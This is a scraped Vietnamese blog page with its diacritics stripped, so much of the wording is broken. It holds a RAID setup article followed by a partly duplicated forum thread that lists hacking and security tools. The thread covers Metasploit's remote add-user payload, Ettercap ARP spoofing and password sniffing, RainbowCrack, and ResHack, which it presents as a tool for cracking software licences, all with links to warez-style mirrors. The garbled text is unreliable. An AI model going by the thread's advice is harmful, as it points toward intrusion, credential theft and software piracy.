C hai trng hp s xy ra khi ngi dung nng cp RAID cho h thng. Nu h thng RAID b sung ch c dng vi mc ch lu tr hoc lm ni trao i thng tin tc cao th vic ci t rt n gin. Tuy nhin nu bn d nh dng n lm ni ci h iu hnh, phn mm th s rt rc ri v phi ci t li ton b t con s 0. RAID CHO RING MNH 1. Chn kiu RAID Vy l bn quyt tm nng cp h thng ca mnh ln tm cao mi. Nhng chn la kiu RAID ph hp khng hn n gin nh bn ngh. Vi iu kin ti Vit Nam, bn c th chn mt s gii php RAID bao gm 0, 1, 0+1 v 5. Trong RAID 0, 1 l kinh t nht v thng c trn hu ht cc dng BMC hin ti. Kiu RAID 0+1 v 5 thng ch c trn nhng loi cao cp, t tin. RAID 0 chc chn l la chn em li tc cao nht nhng cng l th mong manh nht. V d bn s dng 4 a cng RAID 0 th tc truyn d liu c th ln ti hn 100MB/s. y l con s ht sc hp dn vi bt k ngi dng PC no. Tuy th kh nng mt d liu cng tng t l ln 4 ln. a cng my tnh l mt sn phm my mc c chuyn ng v s b lo ha dn sau thi gian di s dng (tht may l thi gian a cng lo ha kh di). Ngoi ra, trc trc in li hay li phn iu khin cng c th dn ti thm ha. V vy, khng nn s dng RAID 0 lu tr d liu lu di nhng n li l la chn s mt cho cc a tm cn tc cao, v d lu tr c s d liu web. V nu bn nh s dng lu di, hy thm mt vi cng v chuyn sang h thng RAID 0+1. iu thc s l tng nu c ngun ti chnh di do.
RAID 1 nu chy mt mnh s khng c tc dng g ngoi chuyn to thm mt a na ging ht nh chnh. Ngi dng thng thng c th khng thy hng th vi RAID 1, ngoi tr nhng ai phi lu tr v qun l nhng ti liu thc s quan trng nh cc my ch lu thng tin khch hng hoc ti khon. Nu dng RAID 1, bn nn cn nhc b sung thm cc khay tro i nng v s gip phc hi d liu nhanh chng hn (bn c th tho lp v tin hnh to bn sao sang mi b sung trong khi h thng ang lm vic bnh thng). RAID 5 vo thi im hin ti ang l la chn s 1 cho mi loi hnh my tnh nh kh nng va sa li va tng tc. Nu bn d kin xy dng mt h thng RAID t 4 a cng tr ln th RAID 5 chc chn l gii php ti u. Cc loi RAID kt hp, v d RAID 0+1 hay RAID 50 (5+0) thng cho nhng
c im ca cc kiu RAID thnh phn, tuy nhin bn nn cn nhc v ch s dng nu cn thit v chi ph cho linh kin kh cao. Chng ta c th tng kt li nh trong bng. 2. Chn la phn cng Vic u tin l chn la linh kin ph hp. V chipset iu khin RAID, bn khng c nhiu la chn v c bn chng c tch hp trn BMC. Tuy nhin bn cn ch nhng im sau. Hin ti b iu khin RAID tch hp thng gm hai loi chnh: chip iu khin gn ln BMC hoc h tr sn t trong chipset. Thng dng gm: Chipset tch hp: + Intel ICH5R, ICH6, ICH7. Nhng chipset cu nam (SouthBridge) ny i km vi dng i865/875/915/925/945/955. + nVIDIA nForce2-RAID (AMD), nForce 3 Series (AMD A64), nForce 4 Series (AMD A64/ Intel 775). Chip iu khin bn ngoi: C kh nhiu chng loi ca cc hng khc nhau nh Promise Technology, Silicon Image, Adaptec, nhng thng thy nht l hai dng Silicon Image Sil3112 v 3114. Nhng loi c tch hp trong chip cu nam thng c tr thp, d s dng. Tuy nhin tnh nng thng khng nhiu v phn mm cn hn ch, i khi lm dng ti nguyn h thng cho tc v c/ghi. Cc loi s dng chip ca hng th ba th tr thng cao hn (khng ng k), phn mm v tnh nng c phn phong ph hn, s dng ti thiu ti nguyn; cc loi card ri th d thay i, tho lp khi cn thit. Tuy vy bn cn ch mt iu cc k quan trng l loi Silicon Image Sil3112 c tnh tng thch tng i km, do khi chuyn sang cc h RAID khc c th b mt d liu. Sil3114 v cao hn khc phc c li ny. Cc h nForce v ICH5,6,7 c th trao i cng qua li d dng, BIOS RAID ca chng cng thng minh hn v thng c kh nng nhn din nhng nhm cng RAID nh dng sn. Mt s BMC mi nht v d nh DFI Lanparty NF4 SLI-DR c h tr c RAID 5. V giao tip dnh cho my tnh bn, thng thng bn ch tm thy cc loi PATA hoc SATA v v phi s dng nhiu cp, SATA s l la chn sng sut hn ngay c khi khng tnh n tc nhanh hn v nhiu ci tin cng ngh. Nu di do v ti chnh, bn c th mt n mt s sn phm tng i chuyn nghip cho php cm thm RAM dng nh b m cc ln nhm tng tc ng k. V cng th bn nn chn cc loi c kh nng truyn d liu ln v tc
truy xut nhanh. Tc truy xut (Access Time) ch nh thi gian cn thit a cng tm thy d liu cn dng v thng s ny cng nh cng tt. Ngoi ra cng cng nn c b m ln (8MB tr ln), mt s model mi c dung lng b m 16MB v nhng cng ngh cho php tng hiu nng lm vic ng k (nh Seagate NCQ chng hn). Tt nht cc cng nn ging nhau v RAID s b nh hng nu c a chm chp hoc dung lng b theo ng tiu ch con su lm ru ni canh. 3. Ci t RAID Vic ci t RAID ni chung ch yu da vo BIOS ca mainboard, RAID Controller v hu nh khng c g kh khn. Sau khi cm cng vo ng v tr RAID trn bo mch (tham kho ti liu i km sn phm), bn vo BIOS ca BMC bt b iu khin RAID v ch nh cc cng lin quan (thng trong mc Integrated Peripherals). Sau thao tc ny, bn s lu thng s ri khi ng li my tnh. Ch tht k mn hnh thng bo v nhn ng t hp phm khi my tnh yu cu (c th l Ctrl+F hoc F4 ty b iu khin RAID) vo BIOS RAID. i vi BIOS RAID, mc d mi loi c mt giao din khc nhau (tham kho ti liu i km) nhng v c bn bn phi thc hin nhng thao tc sau: + Ch nh nhng cng s tham gia RAID. + Chn kiu RAID (0/1/0+1/5). + Ch nh Block Size: y l cha kha nh hng rt ln ti hiu nng ca gin cng chy RAID. i vi RAID dng Striping, Block size cng c ngha l Stripe Size. Nu thng s ny thit lp khng ph hp vi nhu cu s dng th s gy lng ph b nh v gim hiu nng. V d nu Block Size c gi tr l 64KB th ti thiu s c 64KB c ghi vo a trong mi trng hp, ngay c khi l mt file text c dung lng 2KB. V th gi tr ny nn xp x tng ng vi kch thc trung bnh ca cc file bn dng. Nu cng cha nhiu file nh v d ti liu Word, bn nn block size b, nu cha nhiu phim nh hoc nhc, block size ln s cho hiu nng cao hn (nht l vi h thng RAID 0). Bn cnh , Block size cn c mt chc nng khc quyt nh vic file s c ghi vo u. Quay v vi v d Block Size 64KB, nu nh file c kch thc nh hn 64KB, n s ch c ghi vo mt cng trong h thng RAID v nh vy s khng c bt c s ci thin hiu nng no. Trong mt trng hp khc, mt file c kch thc 150KB s c ghi vo 3 a vi cc on 64KB + 64KB + 22KB v b iu khin c th c thng tin t ba cng lc cho php tng tc ng k. Nu bn chn block size l 128KB th file ch
c ghi vo 2 128KB + 22KB m thi. Thc t bn nn chn Block Size l 128KB cho cc my tnh bn tr khi c nhu cu ring. Sau khi b iu khin nhn bit hon ho h a cng mi, bn tin hnh ci t h iu hnh cng nh format RAID. Windows XP l mt la chn sng sut. Vic ci t Windows ni chung cng ging nh bnh thng nhng bn cn chun b mt a mm v a mm cha trnh iu khin (driver) cho b iu khin RAID. Ngay sau khi nhn bn phm vo ci t, bn phi ch dng ch pha di mn hnh ci Windows nhn F6 kp lc. Sau ch mt lt v khi c hi, bn nhn S a driver RAID vo ci t. Cc bc cn li, bn thao tc ng nh vi vic ci t trn mt a cng bnh thng. Sau khi n nh c h thng, bn ch ci thm nhng tin ch iu khin h thng RAID tn dng cc tnh nng m rng v i khi l c hiu nng na. C th lit k mt s chng trnh nh Intel Application Acceleration RAID Edition hay nVIDIA RAID Manager... Ch chung: Nu bn ang c mt a y d liu v mun thit lp RAID 0, bn phi format v lm li mi th. V th hy tm cho mnh mt phng n sao lu ph hp. Nu s dng RAID 1 th vic ny khng cn thit. Thng thng vi mt h thng RAID 0 bn nn c thm mt cng nh lu nhng th ti quan trng phng khi c trc trc mc d rt kh xy ra. Khi my tnh khi ng li (c bit l khi b khi ng bt thng), c th h thng s dng li kh lu qu trnh b iu khin RAID nhn din cc a, thm ch c th c nhiu ting ng l pht ra phn c a cng. Bn khng phi lo lng v iu ny hon ton bnh thng do b iu khin phi ng b hot ng ca tt cc trong nhm RAID m n qun l. Cc nhm a cng RAID thng gm vi a cng hot ng cnh nhau nn nhit lng ta ra kh ln, khng c li v lu di. Bn hy tm gii php gii nhit nu c iu kin trnh rc ri ngoi mun.
TNG KT Gi tr m RAID mang li cho h thng l khng th ph nhn - s an ton, hiu nng cao hn ty cu hnh. Thc t cho thy RAID 0 v 0+1 c a
chung nht trong mi trng gia nh. RAID 0 nhanh nht nhng cng nguy him nht, ch cn mt trc trc l coi nh mi chuyn chm dt. Trong khi RAID 1 mc d em li kh nng bo m an ton thng tin nht nhng cng thng em li cho ngi dng cm gic lng ph (chi tin cho 2 cng m hiu nng v dung lng ch c 1). RAID 5 em li hiu nng cng nh an ton cao nhng thit b iu khin thng kh t, l cha k n s tin chi cho cng cng nhiu hn nn t ngi quan tm tr khi cng vic cn n. Chnh v th, mt s ngi dng li quay sang hng s dng cc a SCSI gii quyt vn hiu nng/an ton thng tin, tuy nhin chi ph cho mt h thng SCSI loi tt c th cn t hn na. Nu k hn, chng ta s thy chun IDE c nhiu vn v d cc a khng c thit k chy lin tc (rt quan trng i vi cc h thng my ch), dy cp ATA hin ti cn qu cng knh nn khi s dng nhiu a s dn ti hin tng cht kn case v trong trng hp xu nht, nhit lng ta ra s dn ti trc trc h thng. Nhng vi cng ngh ngy cng pht trin v nhng chun mi nh SATA ra i, chc chn RAID s c mt tng lai ti sng v tr thnh ngi bn ng hnh l tng cho cc h thng my tnh c nhn cao cp. PCWORLDVN http://forum.itlab.com.vn/forum/showthread.php?t=570 c ng bi haodalat ti 8:42 CH 0 nhn xet Nhan: MCSA, NETWORK
Tng hp mt s phn mm bo mt & hack
Home H S Thnh Vin Lch C Bi Mi Tm Kim Lin kt nhanh Thot Tm kim trong chuyn mc Tm kim chi tit Lin kt nhanh Bi Trong Ngy nh Du c M S Bn B Khung iu Chnh Sa Ch K Thay i H S Thay i Ty Chn Linh Tinh Nhn tin Theo Di Ti H S C Nhn Go to Page... Thng tin mi nht Survey: Bn nh gi th no v ITLab?
(.* Bnh chn cho slogan ca ITLab (Vng 2) *`.) H tr member ITLab trong vic download Tng hp cc phn mm v bo mt v hack VIDEO- Hng dn s dng NetSupport Manager phn mm qun l mng LAN Hng dn Ci t phn mm t xa hng lot ! Go Back Din n ITLAB.COM.VN > RESOURCES & TUTORIALS > Software > Phn mm v mng v bo mt Xem Thng K Mi Tng hp mt s phn mm bo mt & hack Cho, haodalat Va gh thm: 25-03-2008 lc 07:37 PM Nhn Tin: 0 Cha c, Total 0. Tm kim trong chuyn mc Tm kim chi tit Find All Thanked Posts Lin kt nhanh Bi Trong Ngy nh Du c M S Bn B Khung iu Chnh Sa Ch K Thay i H S Thay i Ty Chn Linh Tinh Nhn tin Theo Di Ti H S C Nhn Phc Trnh Vng Lai Go to Page... Gi Ti Mi Tr li Trang 1/2 1 2 > Xem Bi Cha c Xem Bi Cha c iu Chnh Kim Trong Bi Cho im Xp Bi #1 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:20 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008
n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default Tng hp mt s phn mm bo mt & hack .Metasploit Framework - nht hacker tools Trc y NMAP c bnh chn l cng c c yu thch nht ca SecureProf v cc Hacker/SysAdmin vo nm 2000, tuy nhin sau , vo nm 2003 Metasploit ra i v nhanh chng chim v tr qun qun trong cng ng bo mt v qun tr mng. Ti sao Metasploit c yu thch n vy, c l l do chnh l mt cng c tan din dng vit m khai thc, exploit/penetration test hay hacking h thng vi nhiu payload/shell code v cp nht nhanh chng cc li bo mt mi. Mt s hnh nh ci t v s dng Metasploit Framework
To Account t xa vi win32_adduser payload Download: Code: http://www.metasploit.com/framework/download/ thay i ni dung bi: dinhhoaigiang, 04-04-2008 lc 02:30 PM. Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #2 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:25 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7
c cm n 103 ln / 41 bi vit Default .Ettercap Lord Of The Token Ring: The Lord Of The Token Ring: y chnh l bit hiu m cc attacker gn cho ettercap, cn cc chuyn gia bo mt th cho n l mt con qu trn LAN th ng hn, v qu tht vi nc c ARP spoofing ca n, s l mt mi nguy him cho nhng thng tin nhy cm ca ngi dng, ngay c khi h thng s dng Swtich cng c th b gy trc sc mnh nguy him ca Ettercap. Ngoi ra, theo kinh nghim ring chng ta vn c th s dng ettercap cho nhng mc ch tt, v tht oan cho ettercap nu nh chng ta ch xem n l mt cng c phc v cho nhng mc ch en ti bi v tht s im hp dn v ng yu ca ettercap l kh nng detect instruction (d tm ra nhng chng trnh nghe ln khc trn mng), hay thm ch dng kill cc virus connetion c lp cc my b nhim trn mngTheo ti y l mt cng c 5 Sao ca cc hacker/sysadmin. Cc message chat v cleartext password b bt gi trn mng
V phc v cho mc ch bo v h thng, d tm chng trnh nghe ln
Download: Trch: http://www.4shared.com/file/42973753..._Ettercap.html Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #3 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:29 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008
n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default . GFI Network Security Scaner No1 LAN Security Scaner Mt trong nhng hng bo mt chi tin cho vic qung co sn phm nhiu nht c l l GFI, hu nh vo cc trang web chuyn v qun tr h thng mng v bo mt nh windows security, isa server.org hay securityfocus.com chng ta u thy banner qung co ca hng GFI, v iu cng xng ng cho sn phm GFI N.S.S (GFI network security scaner),. Vi v tr 5 Sao ca mnh, GFI NSS c th dng chn an cc l hng bo mt v h thng v chnh sch an ninh nh audit, password policy cho tan b network k c cc h thng Linux hay thit b wireless. V c bit GFI NSS cn cho php chng ta thay i cc policy trn LAN hay trn mt remote computer tng cng bo mt. Bn cnh , cc nh qun tr cn c th v li bo mt cho cc my tnh sau khi qut hay a ra cac report theo dng biu rt thun tin cho vic phn tch v lu tr. Mt cng c khng th thiu i vi cc chuyn gia bo mt. Gii thng v tnh nng ca GFI NSS
Download: Trch: http://www.4shared.com/file/42973942...y_Scanner.html Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #4 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:37 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7
c cm n 103 ln / 41 bi vit Default .Retina Sn phm tuyt vi nht ca EEYE: Mc d GFI rt mnh m trong vic qut li bo mt cho h thng cng nh v li, hardening.. tuy nhin khi bn mun chn an hay kim tra cc li bo mt cho nhng server hay remote computer nhu web hay mail server th sn phm ca hng bo mt Eeye : Retina mi l sn phm s 1 trong lnh vc ny. Vi Database ln c cp nht thng xuyn Retina lun cnh bo chnh xc cc mi nguy him v li bo mt mi v a ra cc khuyn nghi cng vi nhng ch dn khc phc, sa cha mt cch d dng thun tin. im yu ca n l sn phm c chi ph license khc cao, v vy nu cc qun tr h thng mun mt gii php tt v chi ph th c th s dng 2 cng c 6 & 7 Retina lun yu cu synchronize d liu vi server bo m cc bo co chnh xc
Download: Trch: http://www.4shared.com/file/42974166...y_Scanner.html Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #5 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:39 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default .Nessus Network Power Tool:
C chc nng tng t nh Retina, hat ng trn nn Linux OS, han tan min ph v l mt cng c rt hu ch, cc bn c th tham kho bi gii thiu v cch s dng Nessus trn web site security365. Giao din hat ng ca Nessus rt chuyn nghip, kt qu c th lu dng pdf
Download: Trch: http://www.4shared.com/file/42974228...suswx-144.html Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #6 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:43 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default . NMAP Hollywood Start Movie (Y2000 The best hacker choice) : Chy trn Linux v c c phin bn dnh cho Windows l mt cng c qut cng, kim tra dch v ang chy v OS rt mnh, tng c xp hng The Best Hacker Tools v l mt ngi sao thc s trn phim trng, nu cc bn ch k cc phim c cnh hacker t nhp vo h thng mng tnh th s thy Nmap c s dng rt nhiu, v d nh trong b phim Matrixx (Ma Trn) hnh di y:
Download:
Trch: http://www.4shared.com/file/42974366...c3/7_Nmap.html Code: http://www.mydatabus.com/public/underwarez/nmap4.53setup.exe Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #7 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:48 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default .Ethereal Network Monitor: Trong qu trnh qun l h thng, chng ta cn bit r nguyn nhn ca s gy ca cc connection lm cho cc ng dng khng hat ng hay bng thng b trn ngp bi nhng gi tin l dn n tnh trn ngn mng tng tc vo cc lung d liu ang lu chuyn trn mng ny cc qun tr mng v chuyn gia h thng thng s dng nhng chng trnh network monitor, v chng trnh network monitor c yu thch nht c l l ethereal do kh nng phn tch gi tin cc k mnh m v han tan min ph, c th chy trn c Windows hay Linux. Ethereal c kh nng lu tr nhiu dng packet v lu tr chng c v kim tra bng cc chng trnh network monitor khc. c s dng minh ha cho mt trong nhng bi vit hay nht trn din n bo mt HVA. V d sau minh hat cc packet c capture bi ethereal
Download: Trch: http://www.4shared.com/file/42974769..._Ethereal.html
Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #8 Thng Bo Ni Dung Xu Unread 04-04-2008, 03:30 PM underwarez's Avatar underwarez Hin ang: underwarez is offline Administrator Tham gia ngy: Dec 2007 Bi gi: 1,839 Ni li cm n: 123 c cm n 250 ln / 157 bi vit Default Gii thiu mi ngi ci putty: Hng dn Fake ip bng host SSH v Putty! Trc ht bn hy down putty v, ri lm theo cc bc sau fake ip : PUTTY 1/ M n ln, vo tunnels , g vo source port : 1080, chn Dynamic, ri nhn vo Add 2/ Chn session , in vo host name hoc ip, port 22 connect vo host ssh. Nh chn SSH. Nh t tn cho session save session ln sau tin vo li. 3/ Login vo host ssh ca bn. 4/ Vo IE vo Internet option, chn connections, chn Lan setting, Chn User a proxy chn Advanced. o sock : g vo 127.0.0.1 hoc localhost, port m bn chn bc 1, y l 1080. Chn Sock5. Gi bn hy check li ip ca mnh ip2location.com hoc showip.com u im ca cch fake ip bng host ssh th ny l lt web nhanh v an ton. Download: Code: http://www.mydatabus.com/public/underwarez/putty.exe Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n underwarez
Xem h s Gi nhn tin ti underwarez Tm bi gi bi underwarez B underwarez vo S Bn B #9 Thng Bo Ni Dung Xu Unread 04-04-2008, 03:34 PM underwarez's Avatar underwarez Hin ang: underwarez is offline Administrator Tham gia ngy: Dec 2007 Bi gi: 1,839 Ni li cm n: 123 c cm n 250 ln / 157 bi vit Default reshack l phn mm chuyn dng vit ha phn mm chnh sa cu trc file v ci cui cng l p cp bn quyn phn mm Code: http://www.mydatabus.com/public/underwarez/ResHack.zip Hoc: Code: http://www.angusj.com/resourcehacker/reshack.zip Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n underwarez Xem h s Gi nhn tin ti underwarez Tm bi gi bi underwarez B underwarez vo S Bn B #10 Thng Bo Ni Dung Xu Unread 04-04-2008, 03:37 PM underwarez's Avatar underwarez Hin ang: underwarez is offline Administrator Tham gia ngy: Dec 2007 Bi gi: 1,839
Ni li cm n: 123 c cm n 250 ln / 157 bi vit Default Rainbow*****,phn mm chuyn dng ph cc dng m ha bo mt: Download: Code: http://www.mydatabus.com/public/underwarez/rainbow*****1.2win.zip Hng dn s dng: Code: http://www.antsight.com/zsl/rainbow*****/r*****tutorial.htm My ch du * thay bng cr@ck ch a vit thng nh Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n underwarez Xem h s Gi nhn tin ti underwarez Tm bi gi bi underwarez B underwarez vo S Bn B Gi Ti Mi Tr li Trang 1/2 1 2 > Ti Trc | Ti K Li Nhn T Din n Hy thay i Tr li nhanh Li gp phi khi gi bi Okay Bi vit: Hy b nh dng vn bn Fonts Arial Arial Black Arial Narrow Book Antiqua Century Gothic Comic Sans MS Courier New
Fixedsys Franklin Gothic Medium Garamond Georgia Impact Lucida Console Lucida Sans Unicode Microsoft Sans Serif Palatino Linotype System Tahoma Times New Roman Trebuchet MS Verdana m Nghing Gch Di Bn Tri Chnh Gia Bn Phi
Chn lin kt B Hnh Vo Bi t trong th [QUOCTE]. Decrease Size Increase Size Switch Editor Mode Ty Chn Km theo ch k Km theo trch dn ca bi trn ang tr li nhanh - Bn hy i trong giy lt ang tr li nhanh - Bn hy i trong giy lt
ang c: 1 (1 thnh vin v 0 khch) haodalat iu Chnh To trang in To trang in Email trang ny Email trang ny Subscription Theo di ti ny Xp Bi Ch bnh thng Ch bnh thng Ch pha trn Chuyn sang ch Pha trn Ch Dng cy Chuyn sang ch dng cy Kim Trong Bi Tm kim chi tit Cho im Ch Ny Rt ttRt tt TtTt Trung bnhTrung bnh TT Qu tQu t Quyn Hn Ca Bn Bn c quyn gi bi Bn c quyn gi tr li Bn c quyn gi km file Bn c quyn sa bi vB code ang M Smilies ang M [IMG] ang M HTML ang Tt Chuyn n Khung iu ChnhNhn tinang theo diPhc Trnh Vng LaiTm kim trong chuyn mcTrang u WELCOME TO ITLAB Thng bo v quy nh chung Cc bi vit c gi tr Hand-on Lab kin ng gp IT News TECHNICAL CENTER MICROSOFT AREA [70-270 | 70-290 | 70-620] Managing Windows XP - 2K3 Vista [70-291 | 70-293] Network Infrastructure [70-298 | 70-299] Implementing Security [70-284 | 70-285 | 70-236] Exchange Server 2003 2007 [70-294 | 70-297] Active Directory [70-350 | 70-351] ISA Server 2004 2006 Cc mn hc khc [70-272 | 70-292 | 70-296 ...] SECURITY Cc vn khc RESOURCES & TUTORIALS TUTORIALS Microsoft Security Kin thc c bn v mng Tutorials on demand Video trainings E-books Microsoft Security E-books ting Vit Network basic e-books Ti liu luyn thi chng ch M$ Ebook theo yu cu Software Phn mm v mng v bo mt Phn mm thng thng Phn mm theo yu cu Cc ti nguyn khc OFFTOPICS CHATTING Khu hc vin ITLab Tn gu Qung co,rao vt,c hi ngh
nghip... Khu gii tr Thng rc
Alexa Certified Site Stats for forum.itlab.com.vn The time now is Powered by: vBulletin v3.6.8 Copyright 2000-2008, Jelsoft Enterprises Ltd. Style Design by ITLab ch phn gi tt nht 1024x864 hoc cao hn Lin Lc | ITLAB Academy | Lu Tr | Tr Ln Trn http://forum.itlab.com.vn/forum/showthread.php?t=2056 c ng bi haodalat ti 8:41 CH 0 nhn xet Nhan: MCSA, NETWORK, Security
Tng hp mt s phn mm bo mt & hack
Home H S Thnh Vin Lch C Bi Mi Tm Kim Lin kt nhanh Thot Tm kim trong chuyn mc Tm kim chi tit Lin kt nhanh Bi Trong Ngy nh Du c M S Bn B Khung iu Chnh Sa Ch K Thay i H S Thay i Ty Chn Linh Tinh Nhn tin Theo Di Ti H S C Nhn Go to Page... Thng tin mi nht Survey: Bn nh gi th no v ITLab? (.* Bnh chn cho slogan ca ITLab (Vng 2) *`.) H tr member ITLab trong vic download Tng hp cc phn mm v bo mt v hack VIDEO- Hng dn s dng NetSupport Manager phn mm qun l mng LAN Hng dn Ci t phn mm t xa hng lot ! Go Back Din n ITLAB.COM.VN > RESOURCES & TUTORIALS > Software > Phn mm v mng v bo mt
Xem Thng K Mi Tng hp mt s phn mm bo mt & hack Cho, haodalat Va gh thm: 25-03-2008 lc 07:37 PM Nhn Tin: 0 Cha c, Total 0. Tm kim trong chuyn mc Tm kim chi tit Find All Thanked Posts Lin kt nhanh Bi Trong Ngy nh Du c M S Bn B Khung iu Chnh Sa Ch K Thay i H S Thay i Ty Chn Linh Tinh Nhn tin Theo Di Ti H S C Nhn Phc Trnh Vng Lai Go to Page... Gi Ti Mi Tr li Trang 1/2 1 2 > Xem Bi Cha c Xem Bi Cha c iu Chnh Kim Trong Bi Cho im Xp Bi #1 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:20 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default Tng hp mt s phn mm bo mt & hack .Metasploit Framework - nht hacker tools Trc y NMAP c bnh chn l cng c c yu thch nht ca SecureProf v cc Hacker/SysAdmin vo nm 2000, tuy nhin sau , vo nm 2003 Metasploit ra i v nhanh chng chim v tr qun qun trong
cng ng bo mt v qun tr mng. Ti sao Metasploit c yu thch n vy, c l l do chnh l mt cng c tan din dng vit m khai thc, exploit/penetration test hay hacking h thng vi nhiu payload/shell code v cp nht nhanh chng cc li bo mt mi. Mt s hnh nh ci t v s dng Metasploit Framework
To Account t xa vi win32_adduser payload Download: Code: http://www.metasploit.com/framework/download/ thay i ni dung bi: dinhhoaigiang, 04-04-2008 lc 02:30 PM. Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #2 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:25 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default .Ettercap Lord Of The Token Ring: The Lord Of The Token Ring: y chnh l bit hiu m cc attacker gn cho ettercap, cn cc chuyn gia bo mt th cho n l mt con qu trn LAN th ng hn, v qu tht vi nc c ARP spoofing ca n, s l mt mi nguy him cho nhng thng tin nhy cm ca ngi dng, ngay c khi h thng s dng Swtich cng c th b gy trc sc mnh nguy him ca Ettercap.
Ngoi ra, theo kinh nghim ring chng ta vn c th s dng ettercap cho nhng mc ch tt, v tht oan cho ettercap nu nh chng ta ch xem n l mt cng c phc v cho nhng mc ch en ti bi v tht s im hp dn v ng yu ca ettercap l kh nng detect instruction (d tm ra nhng chng trnh nghe ln khc trn mng), hay thm ch dng kill cc virus connetion c lp cc my b nhim trn mngTheo ti y l mt cng c 5 Sao ca cc hacker/sysadmin. Cc message chat v cleartext password b bt gi trn mng
V phc v cho mc ch bo v h thng, d tm chng trnh nghe ln
Download: Trch: http://www.4shared.com/file/42973753..._Ettercap.html Tr Li Vi Trch Dn Multi-Quote This Message Ni li cm n dinhhoaigiang Xem h s Gi nhn tin ti dinhhoaigiang Tm bi gi bi dinhhoaigiang B dinhhoaigiang vo S Bn B #3 Thng Bo Ni Dung Xu Unread 04-04-2008, 02:29 PM dinhhoaigiang's Avatar dinhhoaigiang Hin ang: dinhhoaigiang is online now IT cp 2 Tham gia ngy: Feb 2008 n t: H Ni Bi gi: 137 Ni li cm n: 7 c cm n 103 ln / 41 bi vit Default . GFI Network Security Scaner No1 LAN Security Scaner Mt trong nhng hng bo mt chi tin cho vic qung co sn phm nhiu nht c l l GFI, hu nh vo cc trang web chuyn v qun tr h thng mng v bo mt nh windows security, isa server.org hay
securityfocus.com chng ta u thy banner qung co ca hng GFI, v iu cng xng ng cho sn phm GFI N.S.S (GFI network security scaner),. Vi v tr 5 Sao ca mnh, GFI NSS c th dng chn an cc l hng bo mt v h thng v chnh sch an ninh nh audit, password policy cho tan b network k c cc h thng Linux hay thit b wireless. V c bit GFI NSS cn cho php chng ta thay i cc policy trn LAN hay trn mt remote computer tng cng bo mt. Bn cnh , cc nh qun tr cn c th v li bo mt cho cc my tnh sau khi qut hay a ra cac report theo dng biu rt thun tin cho vic phn tch v lu tr. Mt cng c khng th thiu i vi cc chuyn gia bo mt. Gii thng v tnh nng ca GFI NSS
